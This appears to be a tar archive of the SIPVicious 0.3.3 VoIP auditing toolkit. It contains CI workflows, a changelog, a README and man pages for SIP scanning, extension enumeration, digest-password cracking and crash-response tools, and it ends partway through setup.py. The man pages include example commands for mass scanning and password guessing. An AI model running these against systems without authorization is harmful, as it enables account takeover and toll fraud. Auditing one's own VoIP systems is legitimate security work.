pax_global_header00006660000000000000000000000064140260755520014520gustar00rootroot0000000000000052 comment=08b51f6768920cbe93fa17153ab48a2dee30f373 sipvicious-0.3.3/000077500000000000000000000000001402607555200137205ustar00rootroot00000000000000sipvicious-0.3.3/.github/000077500000000000000000000000001402607555200152605ustar00rootroot00000000000000sipvicious-0.3.3/.github/ISSUE_TEMPLATE/000077500000000000000000000000001402607555200174435ustar00rootroot00000000000000sipvicious-0.3.3/.github/ISSUE_TEMPLATE/bug-report.md000066400000000000000000000011431402607555200220520ustar00rootroot00000000000000--- name: Bug report about: Report bugs to us title: '' labels: bug assignees: '' --- ### Expected behavior XXX ### Actual behavior XXX ### Steps to reproduce the behavior Command run: ``` sipvicious_svwar [params] ``` 1. xxx 2. xxx ### Possible Solution XXX sipvicious-0.3.3/.github/ISSUE_TEMPLATE/custom.md000066400000000000000000000001761402607555200213030ustar00rootroot00000000000000--- name: Custom issue template about: Describe this issue template's purpose here. title: '' labels: '' assignees: '' --- sipvicious-0.3.3/.github/workflows/000077500000000000000000000000001402607555200173155ustar00rootroot00000000000000sipvicious-0.3.3/.github/workflows/python-app.yml000066400000000000000000000022111402607555200221330ustar00rootroot00000000000000# This workflow will install Python dependencies, run tests and lint with a single version of Python # For more information see: https://help.github.com/actions/language-and-framework-guides/using-python-with-github-actions name: Python application on: push: branches: [ master ] pull_request: branches: [ master ] jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 - name: Set up Python 3.9 uses: actions/setup-python@v2 with: python-version: 3.9 - name: Install dependencies run: | python -m pip install --upgrade pip pip install flake8 pytest if [ -f requirements.txt ]; then pip install -r requirements.txt; fi - name: Lint with flake8 run: | # stop the build if there are Python syntax errors or undefined names flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics # - name: Test with pytest # run: | # pytest sipvicious-0.3.3/.github/workflows/python-package.yml000066400000000000000000000024071402607555200227550ustar00rootroot00000000000000# This workflow will install Python dependencies, run tests and lint with a variety of Python versions # For more information see: https://help.github.com/actions/language-and-framework-guides/using-python-with-github-actions name: Python package on: push: branches: [ master ] pull_request: branches: [ master ] jobs: build: runs-on: ubuntu-latest strategy: matrix: python-version: [3.7, 3.8, 3.9] steps: - uses: actions/checkout@v2 - name: Set up Python ${{ matrix.python-version }} uses: actions/setup-python@v2 with: python-version: ${{ matrix.python-version }} - name: Install dependencies run: | python -m pip install --upgrade pip python -m pip install flake8 pytest if [ -f requirements.txt ]; then pip install -r requirements.txt; fi - name: Lint with flake8 run: | # stop the build if there are Python syntax errors or undefined names flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics # - name: Test with pytest # run: | # pytest sipvicious-0.3.3/.github/workflows/python-publish.yml000066400000000000000000000015401402607555200230250ustar00rootroot00000000000000# This workflow will upload a Python Package using Twine when a release is created # For more information see: https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions#publishing-to-package-registries name: Upload Python Package on: release: types: [created] jobs: deploy: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 - name: Set up Python uses: actions/setup-python@v2 with: python-version: '3.x' - name: Install dependencies run: | python -m pip install --upgrade pip pip install setuptools wheel twine - name: Build and publish env: TWINE_USERNAME: ${{ secrets.PYPI_USERNAME }} TWINE_PASSWORD: ${{ secrets.PYPI_PASSWORD }} run: | python setup.py sdist bdist_wheel twine upload dist/* sipvicious-0.3.3/.gitignore000066400000000000000000000002351402607555200157100ustar00rootroot00000000000000# syntax: glob bin build dist include lib distribute.egg-info setuptools.egg-info .coverage .tox *.egg *.py[cod] *.swp *~ .hg* .vscode/* sipvicious.egg-info sipvicious-0.3.3/Changelog000066400000000000000000000216631402607555200155420ustar00rootroot00000000000000v0.3.3 (20210325) * Feature: Input via STDIN for svcrack and svwar * Feature: Full URL format support for svwar and svcrack * Code refactoring v0.3.2 (20210303) * Feature: IPv6 support to svmap * Bug fix: auth header exception handling * Bug fix: relative import error fixes * github issue templates for proper structured issue reporting * supplementary bug fixes as and when reported v0.3.0 (20200129) * Port to Python 3! thanks to 0xInfection * IPv6 support for svwar and svcrack * svcrack now takes the --method option too * qop and md5-sess auth support added * lots of bug fixes v0.2.8 (20121210) * Feature: INVITE sends a BYE and supports ACK * Feature: man pages can be produced with --manpage and man pages are included * Bug fix: removed fingerprinting completely * Change: moved pptable.py and svhelper to libs/ * Change: Number of changes to adhere to Debian's guidelines (copyright/license notices etc) * Bug fix: fixed an svcrack unhandled exception v0.2.7 (20120222) * Feature: svcrash.py has a new option -b which bruteforces the attacker's port * Feature: svcrack.py now tries the extension as password by default, automatically * Feature: svcrack.py and svwar.py now support setting of source port * Feature: new parameter --domain can be passed to all tools which specifies a custom domain in the SIP uri instead of the destination IP * Feature: new --debug switch which shows the messages received * Bug fix: Sometimes nonces could not be extracted due to an incorrect regex * Bug fix: Fixed an unhandled exception when decoding tags * Bug fix: now using hashlib when available instead of md5 * Bug fix: removed the space after the SIP address in the From header which led to newer version of Asterisk to ignore the SIP messages * Bug fix: dictionaries with new lines made svcrack.py stop without this fix * Change: renamed everything to start with sv* * Bug fix: changed the way shelved files are opened by the fingerprinting module * Change: fingerprinting disabled by default since it was giving too many problems and very little benefits v0.2.6 (20100621) * Feature: svcrash.py is a new tool for sending messages that crash svwar and svcrack * Bug fix: helper.py has been fixed when decoding the tags (svcrash abuses this issue) v0.2.5 (20100519) * Feature: svwar.py has "scan for default / typical extensions" option. This option tries to guess numeric extensions which have certain patterns such as 1212 etc. Option is -D, --enabledefaults * General: svwar.py and svcrack.py now have a new option which allows you to set how long the tools will scan without receiving any response back. This allows us to prevent flooding the target. Some PBX servers now have built-in firewalls / intrusion prevention systems which will blacklist the IP address of anyone using svwar or svcrack. Therefore if the IP is blacklisted it makes sense to stop scanning the target. The default for this option is 10 seconds. Set this option by using --maximumtime [seconds] * Removed: svlearnfp.py is now discontinued. The tool is still included for historic reasons but disabled. * Feature: svmap.py now includes the following new features: --debug - shows messages as they are received (useful for developers) --first - scans the first X number of hosts, useful for random or large address pool scanning --inputtext - scans IP ranges taken from a text file --fromname - sets the from header to something specific useful for abusing other security issues or when svmap is used in a more flexible way then usual ;-) * Feature: svreport.py now has two new modes: - stats, which lists some statistics - search, allows you to search through logs looking for specific user agents * Bug fix: svwar.py now by default does not send ACK messages (was a buggy feature that did not follow the standard) * Bug fix: svwar.py - the template passed through --template option is now checked sanity. v0.2.4 * Feature: svwar.py can now scan for templated numbers. This allows more flexible usage of ranges of numbers, allowing for prefixes and suffixes as need be ;-) * Bug fix: svwar.py now sends ACK to be nice to other devices. * Bug fix: each tag is padded with a unique 32 bit * Bug fix: Contact header is always added to the request to always send well formed SIP requests * Bug fix: Large data is sent fragmented now (mysendto) * Bug fix: svwar.py now handles new SIP response codes v0.2.3 * Feature: Fingerprinting support for svmap. Included fphelper.py and 3 databases used for fingerprinting. * Feature: Added svlearnfp.py which allows one to add new signatures to db and send them to the author. * Feature: Added DNS SRV check to svmap. Use ./svmap.py --srv domainname.com to give it a try v0.2.svn * Feature: added the ability for svreport to count results when doing a list * Bug fix: fixed a bug related to resuming a scan which does not have an an extension v0.2.1 (maintenance) General: * Feature: updated the report function to include more information about the system. Python version and operating system is now included in the bug report. option now supports optional feedback. * Feature: Store information about the state of a session. Sessions can be complete or incomplete, so that you can resume incomplete sessions but not complete ones. * Feature: Added -e option to svmap. Allows you to specify an extension. This is useful when using -m INVITE options on a SIP phone. * Bug fix: Added a check to make sure that the python version is supported. Anything less than version 2.4 is not supported * Bug fix: IP in the SIP msg was being set to localhost when not explicitly set. This is not correct behavior and was fixed. As a result of this behavior some devices, such as Grandstream BT100 were not being detected. Thanks to robert&someone from bulgaria for reporting this * Bug fix: fixed a bug in the database which was reported anonymously via the --reportback / -R option. Thanks whoever reported that. Bug concerns the dbm which does not support certain methods supported other database modules referenced by anydbm. Reproduced on FreeBSD. Thanks to Anthony Williams for help i dentifying this * Bug fix: Ranges of extensions in svwar could not take long numeric extensions (xrange does not support long / large numbers). Thanks to Joern for reporting this * Bug fix: svwar was truncating extension names containing certain characters. Fixed. * Bug fix: when binding to a specific interface, the IP within the SIP message could be incorrect (when there are multiple interfaces). This has been fixed. * Cosmetic: Certain PBXs reply with "603 Declined" when svwar finds that the extension does not exist. This creates extra noise. It is now being suppressed. v0.2 General: * Feature: replaced 3rd party functions in ip4range with our functions in helper.py * Feature: ReportBack function is off by default but can be enabled by using -R option * Feature: verbose and quiet mode. Now making use of logging module * Newtool: svreport - export to csv, pdf, xml and plain text. * Feature: session / database support. This allows two things: - resuming of previous scans - exporting the results to more meaningful formats * Feature: give a warning when the default port is already being used and listen on another port Svmap: * Feature: Host arguments now accepts a variety of formats. You can now scan using ranges like the following: - 1.1.1.1-20 1.1.1-20.1-10 - 1.1.1.* - 1.1.1.1-1.1.2.20 - sipvicious.org/22 * Bug fix: Generation of hosts to scan is now dynamic and does not slow down startup time * Feature: Now making use of the standard logging module with more logging to debug problems * Feature: When the port is already bound, svmap tries to listen on another port * Feature: Added options to allow you to specify the ip to bind to as well as the external ip address of the scanner * Feature: --help now shows proper usage * Feature: New scanning method - random scan! This scans only valid internet address space. * Feature: Randomize scan. Allows you to randomize the order of the IP addresses to be scanned. Svwar: * Bug fix: Svwar was missing valid extensions (false negatives) - fixed * Bug fix: Logic bug which did not identify between a server that does not respond and one that sends an unexpected response. * Bug fix: Fixed description of errors and usage Svcrack: * General: --help output was updated to match the other tools. Svreport: * General: was born. Allows managing of saved sessions and exporting to different file formats. * Feature: Reverse name lookup for ip addresses v0.1 First release. sipvicious-0.3.3/LICENSE000066400000000000000000000014021402607555200147220ustar00rootroot00000000000000 SIPVicious OSS is a set of security tools to audit SIP based VoIP systems. Copyright (C) 2007-2020 Sandro Gauci This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . sipvicious-0.3.3/MANIFEST.in000066400000000000000000000000701402607555200154530ustar00rootroot00000000000000include LICENSE include Changelog README.md THANKS TODO sipvicious-0.3.3/README.md000066400000000000000000000046771402607555200152150ustar00rootroot00000000000000# Welcome to SIPVicious OSS security tools ![SIPVicious mascot](https://repository-images.githubusercontent.com/32133566/55b41300-12d9-11eb-89d8-58f60930e3fa) SIPVicious OSS is a set of security tools that can be used to audit SIP based VoIP systems. Specifically, it allows you to find SIP servers, enumerate SIP extensions and finally, crack their password. To get started read the following: - [Getting started on the Wiki](https://github.com/enablesecurity/sipvicious/wiki/Getting-Started) - Communication Breakdown blog: [Attacking a real VoIP System with SIPVicious OSS](https://www.rtcsec.com/2020/06/02-attacking-voip-system-with-sipvicious/). For usage help make use of `-h` or `--help` switch. ## A note to vendors and service providers If you are looking for a professional grade toolset to test your RTC systems, please consider [SIPVicious PRO](https://www.sipvicious.pro). ## The tools The SIPVicious OSS toolset consists of the following tools: - svmap - svwar - svcrack - svreport - svcrash ### svmap this is a sip scanner. When launched against ranges of ip address space, it will identify any SIP servers which it finds on the way. Also has the option to scan hosts on ranges of ports. Usage: ### svwar identifies working extension lines on a PBX. A working extension is one that can be registered. Also tells you if the extension line requires authentication or not. Usage: ### svcrack a password cracker making use of digest authentication. It is able to crack passwords on both registrar servers and proxy servers. Current cracking modes are either numeric ranges or words from dictionary files. Usage: ### svreport able to manage sessions created by the rest of the tools and export to pdf, xml, csv and plain text. Usage: ### svcrash responds to svwar and svcrack SIP messages with a message that causes old versions to crash. Usage: ## Installation Please refer to the [installation documentation](https://github.com/EnableSecurity/sipvicious/wiki/Basics#installation). ## Further information Check out the [wiki](https://github.com/enablesecurity/sipvicious/wiki) for documentation. sipvicious-0.3.3/THANKS000066400000000000000000000005571402607555200146420ustar00rootroot00000000000000Thanks for all the support go to ... - Anthony Williams - ironguard.net - Chase Pollock - Chris Vella - the gozo - Joseph McCray - learnsecurityonline.com - Joern - Recurity Labs - Robert Abela - http://www.voipproducts.org/ - Brian Azzopardi - Teodor Georgiev - http://web1.egvrn.net/tokata - Yori Kvitchko - Victor Seva - You? sipvicious-0.3.3/TODO000066400000000000000000000001311402607555200144030ustar00rootroot00000000000000Consult the wiki page please: https://github.com/EnableSecurity/sipvicious/wiki/TodoList sipvicious-0.3.3/man1/000077500000000000000000000000001402607555200145545ustar00rootroot00000000000000sipvicious-0.3.3/man1/svcrack.1000066400000000000000000000107101402607555200162710ustar00rootroot00000000000000.TH SVCRACK.PY "1" "June 2020" "svcrack.py v0.3.3" "User Commands" .SH NAME svcrack.py \- manual page for svcrack.py v0.3.3 .SH SYNOPSIS .B svcrack.py \fI-u username \fR[\fIoptions\fR] \fItarget\fR .SH DESCRIPTION examples: svcrack.py \fB\-u100\fR \fB\-d\fR dictionary.txt udp://10.0.0.1:5080 svcrack.py \fB\-u100\fR \fB\-r1\-9999\fR \fB\-z4\fR 10.0.0.1 .SH OPTIONS .TP \fB\-\-version\fR show program's version number and exit .TP \fB\-h\fR, \fB\-\-help\fR show this help message and exit .TP \fB\-v\fR, \fB\-\-verbose\fR Increase verbosity .TP \fB\-q\fR, \fB\-\-quiet\fR Quiet mode .TP \fB\-p\fR PORT, \fB\-\-port\fR=\fIPORT\fR Destination port or port ranges of the SIP device \- eg \fB\-p5060\fR,5061,8000\-8100 .TP \fB\-P\fR PORT, \fB\-\-localport\fR=\fIPORT\fR Source port for our packets .TP \fB\-x\fR IP, \fB\-\-externalip\fR=\fIIP\fR IP Address to use as the external ip. Specify this if you have multiple interfaces or if you are behind NAT .TP \fB\-b\fR BINDINGIP, \fB\-\-bindingip\fR=\fIBINDINGIP\fR By default we bind to all interfaces. This option overrides that and binds to the specified ip address .TP \fB\-t\fR SELECTTIME, \fB\-\-timeout\fR=\fISELECTTIME\fR This option allows you to trottle the speed at which packets are sent. Change this if you're losing packets. For example try 0.5. .TP \fB\-R\fR, \fB\-\-reportback\fR Send the author an exception traceback. Currently sends the command line parameters and the traceback .TP \fB\-A\fR, \fB\-\-autogetip\fR Automatically get the current IP address. This is useful when you are not getting any responses back due to SIPVicious not resolving your local IP. .TP \fB\-s\fR NAME, \fB\-\-save\fR=\fINAME\fR save the session. Has the benefit of allowing you to resume a previous scan and allows you to export scans .TP \fB\-\-resume\fR=\fINAME\fR resume a previous scan .TP \fB\-c\fR, \fB\-\-enablecompact\fR enable compact mode. Makes packets smaller but possibly less compatible .TP \fB\-u\fR USERNAME, \fB\-\-username\fR=\fIUSERNAME\fR username to try crack .TP \fB\-d\fR DICTIONARY, \fB\-\-dictionary\fR=\fIDICTIONARY\fR specify a dictionary file with passwords or - for stdin .TP \fB\-r\fR RANGE, \fB\-\-range\fR=\fIRANGE\fR specify a range of numbers. example: 100\-200,300\-310,400 .TP \fB\-e\fR EXTENSION, \fB\-\-extension\fR=\fIEXTENSION\fR Extension to crack. Only specify this when the extension is different from the username. .TP \fB\-z\fR PADDING, \fB\-\-zeropadding\fR=\fIPADDING\fR the number of zeros used to padd the password. the options "\-r 1\-9999 \fB\-z\fR 4" would give 0001 0002 0003 \&... 9999 .TP \fB\-n\fR, \fB\-\-reusenonce\fR Reuse nonce. Some SIP devices don't mind you reusing the nonce (making them vulnerable to replay attacks). Speeds up the cracking. .TP \fB\-T\fR TEMPLATE, \fB\-\-template\fR=\fITEMPLATE\fR A format string which allows us to specify a template for the extensions example svwar.py \fB\-e\fR 1\-999 \fB\-\-template=\fR"123%#04i999" would scan between 1230001999 to 1230999999" .TP \fB\-\-maximumtime\fR=\fIMAXIMUMTIME\fR Maximum time in seconds to keep sending requests without receiving a response back .TP \fB\-D\fR, \fB\-\-enabledefaults\fR Scan for default / typical passwords such as 1000,2000,3000 ... 1100, etc. This option is off by default. Use \fB\-\-enabledefaults\fR to enable this functionality .TP \fB\-\-domain\fR=\fIDOMAIN\fR force a specific domain name for the SIP message, eg. \fB\-d\fR example.org .TP \fB\-\-requesturi\fR=\fIREQUESTURI\fR Force the first line URI to a specific value; e.g. sip:999@example.org .TP \fB\-6\fR Scan an IPv6 address .IP SIPvicious password cracker is an online password guessing tool for SIP devices. Copyright (C) 2021 Sandro Gauci .IP This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. .IP This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. .IP You should have received a copy of the GNU General Public License along with this program. If not, see . .SH "SEE ALSO" The full documentation for .B svcrack.py can be found on GitHub at . sipvicious-0.3.3/man1/svcrash.1000066400000000000000000000027301402607555200163110ustar00rootroot00000000000000.TH SVCRASH.PY "1" "June 2020" "svcrash.py v0.3.3" "User Commands" .SH NAME svcrash.py \- manual page for svcrash.py v0.3.3 .SH SYNOPSIS .B svcrash.py [\fIoptions\fR] .SH OPTIONS .TP \fB\-\-version\fR show program's version number and exit .TP \fB\-h\fR, \fB\-\-help\fR show this help message and exit .TP \fB\-\-auto\fR Automatically send responses to attacks .TP \fB\-\-astlog\fR=\fIASTLOG\fR Path for the asterisk full logfile .TP \fB\-d\fR IPADDR specify attacker's ip address .TP \fB\-p\fR PORT specify attacker's port .TP \fB\-b\fR bruteforce the attacker's port .IP Sipvicious crash exploits a bug in svwar/svcrack.py to stop unauthorized scans from flooding the network. Copyright (C) 2021 Sandro Gauci .IP This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. .IP This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. .IP You should have received a copy of the GNU General Public License along with this program. If not, see . .SH "SEE ALSO" The full documentation for .B svcrash.py can be found on GitHub at .sipvicious-0.3.3/man1/svmap.1000066400000000000000000000101031402607555200157570ustar00rootroot00000000000000.TH SVMAP.PY "1" "June 2020" "svmap.py v0.3.3" "User Commands" .SH NAME svmap.py \- manual page for svmap.py v0.3.3 .SH SYNOPSIS .B svmap.py [\fIoptions\fR] \fIhost1 host2 hostrange\fR .SH DESCRIPTION Scans for SIP devices on a given network .PP examples: .PP svmap.py 10.0.0.1\-10.0.0.255 172.16.131.1 sipvicious.org/22 10.0.1.1/241.1.1.1\-20 1.1.2\-20.* 4.1.*.* .PP svmap.py \fB\-s\fR session1 \fB\-\-randomize\fR 10.0.0.1/8 .PP svmap.py \fB\-\-resume\fR session1 \fB\-v\fR .PP svmap.py \fB\-p5060\-5062\fR 10.0.0.3\-20 \fB\-m\fR INVITE .PP .SH OPTIONS .TP \fB\-\-version\fR show program's version number and exit .TP \fB\-h\fR, \fB\-\-help\fR show this help message and exit .TP \fB\-v\fR, \fB\-\-verbose\fR Increase verbosity .TP \fB\-q\fR, \fB\-\-quiet\fR Quiet mode .TP \fB\-p\fR PORT, \fB\-\-port\fR=\fIPORT\fR Destination port or port ranges of the SIP device \- eg \fB\-p5060\fR,5061,8000\-8100 .TP \fB\-P\fR PORT, \fB\-\-localport\fR=\fIPORT\fR Source port for our packets .TP \fB\-x\fR IP, \fB\-\-externalip\fR=\fIIP\fR IP Address to use as the external ip. Specify this if you have multiple interfaces or if you are behind NAT .TP \fB\-b\fR BINDINGIP, \fB\-\-bindingip\fR=\fIBINDINGIP\fR By default we bind to all interfaces. This option overrides that and binds to the specified ip address .TP \fB\-t\fR SELECTTIME, \fB\-\-timeout\fR=\fISELECTTIME\fR This option allows you to trottle the speed at which packets are sent. Change this if you're losing packets. For example try 0.5. .TP \fB\-R\fR, \fB\-\-reportback\fR Send the author an exception traceback. Currently sends the command line parameters and the traceback .TP \fB\-A\fR, \fB\-\-autogetip\fR Automatically get the current IP address. This is useful when you are not getting any responses back due to SIPVicious not resolving your local IP. .TP \fB\-s\fR NAME, \fB\-\-save\fR=\fINAME\fR save the session. Has the benefit of allowing you to resume a previous scan and allows you to export scans .TP \fB\-\-resume\fR=\fINAME\fR resume a previous scan .TP \fB\-c\fR, \fB\-\-enablecompact\fR enable compact mode. Makes packets smaller but possibly less compatible .TP \fB\-\-randomscan\fR Scan random IP addresses .TP \fB\-i\fR scan1, \fB\-\-input\fR=\fIscan1\fR Scan IPs which were found in a previous scan. Pass the session name as the argument .TP \fB\-I\fR scan1, \fB\-\-inputtext\fR=\fIscan1\fR Scan IPs from a text file \- use the same syntax as command line but with new lines instead of commas. Pass the file name as the argument .TP \fB\-m\fR METHOD, \fB\-\-method\fR=\fIMETHOD\fR Specify the request method \- by default this is OPTIONS. .TP \fB\-d\fR, \fB\-\-debug\fR Print SIP messages received .TP \fB\-\-first\fR=\fIFIRST\fR Only send the first given number of messages (i.e. usually used to scan only X IPs) .TP \fB\-e\fR EXTENSION, \fB\-\-extension\fR=\fIEXTENSION\fR Specify an extension \- by default this is not set .TP \fB\-\-randomize\fR Randomize scanning instead of scanning consecutive ip addresses .TP \fB\-\-srv\fR Scan the SRV records for SIP on the destination domain name.The targets have to be domain names \- example.org domain1.com .TP \fB\-\-fromname\fR=\fIFROMNAME\fR Specify a name for the from header in requests .TP \fB\-6\fR, \fB\-\-ipv6\fR Scan an IPv6 address .IP SIPvicious SIP scanner searches for SIP devices on a given network. Copyright (C) 2021 Sandro Gauci .IP This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. .IP This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. .IP You should have received a copy of the GNU General Public License along with this program. If not, see . .SH "SEE ALSO" The full documentation for .B svmap.py can be found on GitHub at .sipvicious-0.3.3/man1/svreport.1000066400000000000000000000044711402607555200165300ustar00rootroot00000000000000.TH SVREPORT.PY "1" "June 2020" "svreport.py v0.3.3" "User Commands" .SH NAME svreport.py \- manual page for svreport.py v0.3.3 .SH SYNOPSIS .B svreport.py [\fIcommand\fR] [\fIoptions\fR] .SH DESCRIPTION Supported commands: .IP \- list: lists all scans .TP \- export: exports the given scan to a given format .TP \- delete: deletes the scan .TP \- stats: print out some statistics of interest .TP \- search: search for a specific string in the user agent (svmap) .PP examples: .PP .IP svreport.py list .PP .IP svreport.py export \fB\-f\fR pdf \fB\-o\fR scan1.pdf \fB\-s\fR scan1 .PP .IP svreport.py delete \fB\-s\fR scan1 .PP .SH OPTIONS .TP \fB\-\-version\fR show program's version number and exit .TP \fB\-h\fR, \fB\-\-help\fR show this help message and exit .TP \fB\-v\fR, \fB\-\-verbose\fR Increase verbosity .TP \fB\-q\fR, \fB\-\-quiet\fR Quiet mode .TP \fB\-t\fR SESSIONTYPE, \fB\-\-type\fR=\fISESSIONTYPE\fR Type of session. This is usually either svmap, svwar or svcrack. If not set I will try to find the best match .TP \fB\-s\fR SESSION, \fB\-\-session\fR=\fISESSION\fR Name of the session .TP \fB\-f\fR FORMAT, \fB\-\-format\fR=\fIFORMAT\fR Format type. Can be stdout, pdf, xml, csv or txt .TP \fB\-o\fR OUTPUTFILE, \fB\-\-output\fR=\fIOUTPUTFILE\fR Output filename .TP \fB\-n\fR Do not resolve the ip address .TP \fB\-c\fR, \fB\-\-count\fR Used togather with 'list' command to count the number of entries .IP SIPVicious report engine manages sessions from previous scans with SIPVicious tools and allows you to export these scans. Copyright (C) 2021 Sandro Gauci .IP This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. .IP This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. .IP You should have received a copy of the GNU General Public License along with this program. If not, see . .SH "SEE ALSO" The full documentation for .B svreport.py can be found on GitHub at .sipvicious-0.3.3/man1/svwar.1000066400000000000000000000102651402607555200160040ustar00rootroot00000000000000.TH SVWAR.PY "1" "June 2020" "svwar.py v0.3.3" "User Commands" .SH NAME svwar.py \- manual page for svwar.py v0.3.3 .SH SYNOPSIS .B svwar.py [\fIoptions\fR] \fItarget\fR .SH DESCRIPTION examples: svwar.py \fB\-e100\-999\fR udp://10.0.0.1:5080 svwar.py \fB\-d\fR dictionary.txt 10.0.0.2 .SH OPTIONS .TP \fB\-\-version\fR show program's version number and exit .TP \fB\-h\fR, \fB\-\-help\fR show this help message and exit .TP \fB\-v\fR, \fB\-\-verbose\fR Increase verbosity .TP \fB\-q\fR, \fB\-\-quiet\fR Quiet mode .TP \fB\-p\fR PORT, \fB\-\-port\fR=\fIPORT\fR Destination port or port ranges of the SIP device \- eg \fB\-p5060\fR,5061,8000\-8100 .TP \fB\-P\fR PORT, \fB\-\-localport\fR=\fIPORT\fR Source port for our packets .TP \fB\-x\fR IP, \fB\-\-externalip\fR=\fIIP\fR IP Address to use as the external ip. Specify this if you have multiple interfaces or if you are behind NAT .TP \fB\-b\fR BINDINGIP, \fB\-\-bindingip\fR=\fIBINDINGIP\fR By default we bind to all interfaces. This option overrides that and binds to the specified ip address .TP \fB\-t\fR SELECTTIME, \fB\-\-timeout\fR=\fISELECTTIME\fR This option allows you to trottle the speed at which packets are sent. Change this if you're losing packets. For example try 0.5. .TP \fB\-R\fR, \fB\-\-reportback\fR Send the author an exception traceback. Currently sends the command line parameters and the traceback .TP \fB\-A\fR, \fB\-\-autogetip\fR Automatically get the current IP address. This is useful when you are not getting any responses back due to SIPVicious not resolving your local IP. .TP \fB\-s\fR NAME, \fB\-\-save\fR=\fINAME\fR save the session. Has the benefit of allowing you to resume a previous scan and allows you to export scans .TP \fB\-\-resume\fR=\fINAME\fR resume a previous scan .TP \fB\-c\fR, \fB\-\-enablecompact\fR enable compact mode. Makes packets smaller but possibly less compatible .TP \fB\-d\fR DICTIONARY, \fB\-\-dictionary\fR=\fIDICTIONARY\fR specify a dictionary file with possible extension names or - for stdin .TP \fB\-m\fR OPTIONS, \fB\-\-method\fR=\fIOPTIONS\fR specify a request method. The default is REGISTER. Other possible methods are OPTIONS and INVITE .TP \fB\-e\fR RANGE, \fB\-\-extensions\fR=\fIRANGE\fR specify an extension or extension range example: \fB\-e\fR 100\-999,1000\-1500,9999 .TP \fB\-z\fR PADDING, \fB\-\-zeropadding\fR=\fIPADDING\fR the number of zeros used to padd the username. the options "\-e 1\-9999 \fB\-z\fR 4" would give 0001 0002 0003 \&... 9999 .TP \fB\-\-force\fR Force scan, ignoring initial sanity checks. .TP \fB\-T\fR TEMPLATE, \fB\-\-template\fR=\fITEMPLATE\fR A format string which allows us to specify a template for the extensions example svwar.py \fB\-e\fR 1\-999 \fB\-\-template=\fR"123%#04i999" would scan between 1230001999 to 1230999999" .TP \fB\-D\fR, \fB\-\-enabledefaults\fR Scan for default / typical extensions such as 1000,2000,3000 ... 1100, etc. This option is off by default. Use \fB\-\-enabledefaults\fR to enable this functionality .TP \fB\-\-maximumtime\fR=\fIMAXIMUMTIME\fR Maximum time in seconds to keep sending requests without receiving a response back .TP \fB\-\-domain\fR=\fIDOMAIN\fR force a specific domain name for the SIP message, eg. \fB\-d\fR example.org .TP \fB\-\-debug\fR Print SIP messages received .TP \fB\-6\fR Scan an IPv6 address .IP Sipvicious extension line scanner scans SIP PaBXs for valid extension lines. Copyright (C) 2021 Sandro Gauci .IP This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. .IP This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. .IP You should have received a copy of the GNU General Public License along with this program. If not, see . .SH "SEE ALSO" The full documentation for .B svwar.py can be found on GitHub at .sipvicious-0.3.3/resources/000077500000000000000000000000001402607555200157325ustar00rootroot00000000000000sipvicious-0.3.3/resources/sv.xsl000066400000000000000000000050671402607555200171220ustar00rootroot00000000000000

sipvicious-0.3.3/setup.py000066400000000000000000000061761402607555200154440ustar00rootroot00000000000000#!/usr/bin/env python # vim: set fileencoding=utf-8 : # # sipvicious/setup.py # # Copyright (C) 2007-2021 Sandro Gauci # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, # MA 02110-1301, USA. import io import sys if sys.version_info[0] < 3: raise Exception("Must be using Python 3") from os import path from setuptools import find_packages, setup from sipvicious.libs.svhelper import __author__, __version__ this_directory = path.abspath(path.dirname(__file__)) with io.open(path.join(this_directory, 'README.md'), encoding='utf-8') as readme_file: desc = readme_file.read() setup(name='sipvicious', version=__version__, description='SIPVicious suite is a set of tools that can be used to audit SIP based VoIP systems.', long_description = desc, long_description_content_type='text/markdown', author=__author__, author_email='sandro@enablesecurity.com', license='GPL', url='https://github.com/EnableSecurity/sipvicious', project_urls={ "Bug Tracker": "https://github.com/EnableSecurity/sipvicious/issues", "Source Code": 